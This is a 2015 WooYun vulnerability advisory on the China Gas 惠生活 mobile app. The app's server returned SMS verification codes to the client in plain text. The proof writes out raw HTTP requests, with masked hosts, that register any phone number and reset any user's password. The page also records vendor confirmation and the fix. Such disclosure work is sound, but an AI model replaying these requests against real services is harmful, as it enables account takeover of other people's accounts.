当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0153573

漏洞标题：中燃惠生活客户端设计不当导致可重置任意用户密码/任意手机号注册

相关厂商：中国燃气控股有限公司

漏洞作者： qmm0523

提交时间：2015-11-25 16:34

修复时间：2015-12-17 14:48

公开时间：2015-12-17 14:48

漏洞类型：设计错误/逻辑缺陷

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-11-25： 细节已通知厂商并且等待厂商处理中
2015-11-26： 厂商已经确认，细节仅向厂商公开
2015-11-29： 细节向第三方安全合作伙伴开放（绿盟科技、唐朝安全巡航）
2016-01-20： 细节向核心白帽子及相关领域专家公开
2016-01-30： 细节向普通白帽子公开
2016-02-09： 细节向实习白帽子公开
2015-12-17： 细节向公众公开

简要描述：

可以重置任何用户的密码

详细说明：

程序员安全意识过于薄弱，当发送短信验证码时，服务器将短信验证码直接明文发送到客户端，并由客户端完成短信验证码的比对

漏洞证明：

先来注册一个账号吧
通过抓取数据包 得知用户注册接口地址
POST内容

POST http://**.**.**.**:8081/zhongran/sendsms HTTP/1.1
Charset: UTF-8
User-Agent: Mozilla/5.0 (Linux; U; Mobile; Android 5.1.1; )
Accept: */*
x-mas-app-info: aaahg10001/public
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Content-Length: 18
Content-Type: application/x-www-form-urlencoded
Host: **.**.**.**:8081
mobile=13000000000


服务器返回如下

{"status":1,"data":"5177","option":{"method":"POST","url":"http://**.**.**.**/controller/sms/sendSms.do","Enctype":"application/json","Cookie":"true","agent":false,"Body":{"mobile":"13000000000","code":5177}}}


看见没 直接就告诉了我们短信验证码是多少
我们用这个验证码在客户端注册 抓包如下
POST

POST http://**.**.**.**:8081/zhongran/register HTTP/1.1
appverify: md5=31e71cbac25189086aabcb1803c2d420;ts=1447225315731
Charset: UTF-8
User-Agent: Mozilla/5.0 (Linux; U; Mobile; Android 5.1.1;NX505J Build/FRF91 )
Accept: */*
x-mas-app-info: aaahg10001/public
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
Host: **.**.**.**:8081
mobile=13000000000&pwd=123321&inviteCode=


Response

{"status":1,"message":"注册成功！","data":{"id":225187,"mobile":"13000000000","userName":null,"pwd":"c8837b23ff8aaa8a2dde915473ce0991","gasAccount":null,"userCode":"024241100225187","userState":0,"level":0,"birthday":null,"sex":0,"addressId":0,"workUnit":null,"unitTel":null,"familyTel":null,"detailAddress":null,"email":null,"registerTime":"2015-11-11 15:02:42","inviter":null,"inviteCode":"","lastLoginTime":null,"lastLoginIp":null,"allIntegral":0,"allConsume":0,"realName":null,"balance":0,"userArea":null,"userAddress":null,"userPhone":null,"userSex":0,"stairs":null,"elevator":null,"gasCompanyId":null,"gasCompanyName":null,"gasOutletsId":null,"gasOutletsName":null,"workUnits":null,"position":null,"workPhone":null,"homePhone":null,"idCard":null,"createTime":null,"updateTime":null,"removed":null,"footprint":0,"integral":0,"orderGasNo":null,"gasCardCode":null,"userType":null,"contacts":null,"gasCardState":null,"operatorId":null,"payType":null,"updatePerson":null,"remark":null,"myInvite":null,"orderCardNo":null,"oldPwd":null,"newPwd":null,"newMobile":null,"growValue":0,"content":null,"userId":0,"integralSource":null,"recordTime":null,"state":0,"payfee":0},"option":{"method":"POST","url":"http://**.**.**.**/controller/appUser/register.do","Enctype":"application/json","Cookie":"true","agent":false,"Body":{"mobile":"13000000000","pwd":"123321","inviteCode":""}}}


可见，获取验证码完全是多余的，直接提交用户名密码即可完成注册
再来试一下重置密码
post

POST http://**.**.**.**:8081/zhongran/sendsms HTTP/1.1
Charset: UTF-8
User-Agent: Mozilla/5.0 (Linux; U; Mobile; Android 5.1.1; )
Accept: */*
x-mas-app-info: aaahg10001/public
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Content-Length: 18
Content-Type: application/x-www-form-urlencoded
Host: **.**.**.**:8081
mobile=13000000000


返回值:

{"status":1,"data":"3178","option":{"method":"POST","url":"http://**.**.**.**/controller/sms/sendSms.do","Enctype":"application/json","Cookie":"true","agent":false,"Body":{"mobile":"13000000000","code":3178}}}


依旧返回了短信验证码
发送数据包重置密码

POST http://**.**.**.**:8081/zhongran/forgetPwd HTTP/1.1
Charset: UTF-8
Accept: */*
x-mas-app-info: aaahg10001/public
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Content-Length: 39
Content-Type: application/x-www-form-urlencoded
Host: **.**.**.**:8081
code=3178&mobile=13000000000&pwd=321123


返回

{"status":1,"message":"修改密码成功！","option":{"method":"POST","url":"http://**.**.**.**/controller/appUser/forgetPwd.do","Enctype":"application/json","Cookie":"true","agent":false,"Body":{"code":"3178","mobile":"13000000000","pwd":"321123"}}}


修改密码成功！

修复方案：

在服务器端比对短信验证码

版权声明：转载请注明来源 qmm0523@乌云

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：5

确认时间：2015-11-26 20:17

厂商回复：

感谢提交，我们尽快修复

最新状态：

2015-12-11：已修复